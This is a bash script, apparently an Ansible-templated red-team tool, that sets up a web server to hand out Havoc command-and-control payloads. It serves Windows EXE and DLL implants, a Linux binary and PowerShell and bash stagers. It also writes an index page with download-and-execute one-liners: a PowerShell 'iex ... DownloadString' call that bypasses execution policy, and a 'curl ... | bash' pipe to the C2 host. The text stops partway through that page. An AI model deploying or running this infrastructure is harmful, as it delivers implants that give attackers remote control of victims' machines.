#!/bin/bash # Script to serve Havoc C2 payloads generated by generate_havoc_payloads.sh # Configuration PAYLOADS_DIR="/root/Tools/Havoc/payloads" C2_HOST="{{ ansible_host }}" LISTEN_PORT=8443 # Check if manifest file exists (created by generate_havoc_payloads.sh) if [ -f "$PAYLOADS_DIR/manifest.json" ]; then echo "[+] Found payload manifest file - using Havoc payloads generated previously" # Extract payload paths from manifest WIN_EXE=$(jq -r '.windows_exe' "$PAYLOADS_DIR/manifest.json") WIN_DLL=$(jq -r '.windows_dll' "$PAYLOADS_DIR/manifest.json") LINUX_BIN=$(jq -r '.linux_binary' "$PAYLOADS_DIR/manifest.json") # Print payload info echo "[+] Using these Havoc payloads:" echo " - Windows EXE: $WIN_EXE" echo " - Windows DLL: $WIN_DLL" echo " - Linux Binary: $LINUX_BIN" else echo "[!] No manifest file found. Please run generate_havoc_payloads.sh first." echo "[!] Will search for payloads in $PAYLOADS_DIR..." # Try to find payloads directly WIN_EXE=$(find "$PAYLOADS_DIR/windows" -maxdepth 1 -name "*.exe" | head -n 1) WIN_DLL=$(find "$PAYLOADS_DIR/windows" -maxdepth 1 -name "*.dll" | head -n 1) LINUX_BIN=$(find "$PAYLOADS_DIR/linux" -maxdepth 1 -type f -executable -not -path "*/\.*" | head -n 1) if [ -z "$WIN_EXE" ] && [ -z "$LINUX_BIN" ]; then echo "[!] No Havoc payloads found. Please run generate_havoc_payloads.sh first." exit 1 fi # Extract just the filenames WIN_EXE=$(basename "$WIN_EXE") WIN_DLL=$(basename "$WIN_DLL") LINUX_BIN=$(basename "$LINUX_BIN") fi # Create temporary directory for web server TEMP_DIR=$(mktemp -d) mkdir -p $TEMP_DIR/content/windows mkdir -p $TEMP_DIR/content/linux mkdir -p $TEMP_DIR/scripts # Copy payloads to web directory if [ -n "$WIN_EXE" ]; then cp "$PAYLOADS_DIR/windows/$WIN_EXE" $TEMP_DIR/content/windows/ echo "[+] Serving Windows EXE: $WIN_EXE" fi if [ -n "$WIN_DLL" ]; then cp "$PAYLOADS_DIR/windows/$WIN_DLL" $TEMP_DIR/content/windows/ echo "[+] Serving Windows DLL: $WIN_DLL" fi if [ -n "$LINUX_BIN" ]; then cp "$PAYLOADS_DIR/linux/$LINUX_BIN" $TEMP_DIR/content/linux/ echo "[+] Serving Linux Binary: $LINUX_BIN" fi # Copy stagers if they exist if [ -f "$PAYLOADS_DIR/stagers/windows_stager.ps1" ]; then cp "$PAYLOADS_DIR/stagers/windows_stager.ps1" $TEMP_DIR/windows_stager.ps1 echo "[+] Serving Windows PowerShell stager" fi if [ -f "$PAYLOADS_DIR/stagers/linux_stager.sh" ]; then cp "$PAYLOADS_DIR/stagers/linux_stager.sh" $TEMP_DIR/linux_stager.sh echo "[+] Serving Linux bash stager" fi # Create helpful index page cat > $TEMP_DIR/index.html << EOL
Windows PowerShell:
powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('http://$C2_HOST:$LISTEN_PORT/windows_stager.ps1')"
Linux Bash:
curl -s http://$C2_HOST:$LISTEN_PORT/linux_stager.sh | bash